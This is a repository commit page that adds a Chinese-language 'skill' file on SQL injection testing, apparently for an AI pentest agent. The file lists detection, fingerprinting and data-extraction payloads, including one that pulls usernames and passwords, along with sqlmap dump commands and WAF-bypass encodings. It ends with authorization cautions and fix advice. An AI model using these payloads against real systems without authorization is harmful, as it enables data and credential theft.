mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-07-06 20:47:57 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,101 @@
|
||||
---
|
||||
name: sql-injection-testing
|
||||
description: SQL注入测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# SQL注入测试技能
|
||||
|
||||
## 概述
|
||||
|
||||
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 参数识别
|
||||
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
|
||||
- 重点关注:id、search、filter、sort等参数
|
||||
- 使用Burp Suite或类似工具拦截和修改请求
|
||||
|
||||
### 2. 基础检测
|
||||
- 单引号测试:`'` - 查看是否出现SQL错误
|
||||
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
|
||||
- 时间盲注:`' AND SLEEP(5)--`
|
||||
- 联合查询:`' UNION SELECT NULL--`
|
||||
|
||||
### 3. 数据库识别
|
||||
- MySQL:`' AND @@version LIKE '%mysql%'--`
|
||||
- PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--`
|
||||
- MSSQL:`' AND @@version LIKE '%Microsoft%'--`
|
||||
- Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
|
||||
|
||||
### 4. 信息提取
|
||||
- 数据库名:`' UNION SELECT database()--`
|
||||
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
|
||||
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
|
||||
- 数据提取:`' UNION SELECT username,password FROM users--`
|
||||
|
||||
## 工具使用
|
||||
|
||||
### sqlmap
|
||||
```bash
|
||||
# 基础扫描
|
||||
sqlmap -u "http://target.com/page?id=1"
|
||||
|
||||
# 指定参数
|
||||
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
|
||||
|
||||
# 指定数据库类型
|
||||
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
|
||||
|
||||
# 获取数据库列表
|
||||
sqlmap -u "http://target.com/page?id=1" --dbs
|
||||
|
||||
# 获取表
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
|
||||
|
||||
# 获取数据
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
|
||||
```
|
||||
|
||||
### 手动测试
|
||||
- 使用Burp Suite的Repeater模块
|
||||
- 使用浏览器开发者工具
|
||||
- 编写Python脚本自动化测试
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### WAF绕过
|
||||
- 编码绕过:URL编码、Unicode编码、十六进制编码
|
||||
- 注释绕过:`/**/`, `--`, `#`
|
||||
- 大小写混合:`SeLeCt`, `UnIoN`
|
||||
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
|
||||
|
||||
### 示例
|
||||
```
|
||||
原始:' UNION SELECT NULL--
|
||||
绕过1:'/**/UNION/**/SELECT/**/NULL--
|
||||
绕过2:'%55nion%20select%20null--
|
||||
绕过3:'/*!UNION*//*!SELECT*/null--
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
1. 确认可以执行SQL语句
|
||||
2. 提取数据库信息验证
|
||||
3. 评估影响范围(数据泄露、权限提升等)
|
||||
4. 记录完整的POC(请求/响应)
|
||||
|
||||
### 报告要点
|
||||
- 漏洞位置和参数
|
||||
- 影响的数据和系统
|
||||
- 完整的利用步骤
|
||||
- 修复建议(参数化查询、输入验证等)
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对生产数据造成破坏
|
||||
- 谨慎使用DROP、DELETE等危险操作
|
||||
- 记录所有测试步骤以便复现
|
||||
Reference in New Issue
Block a user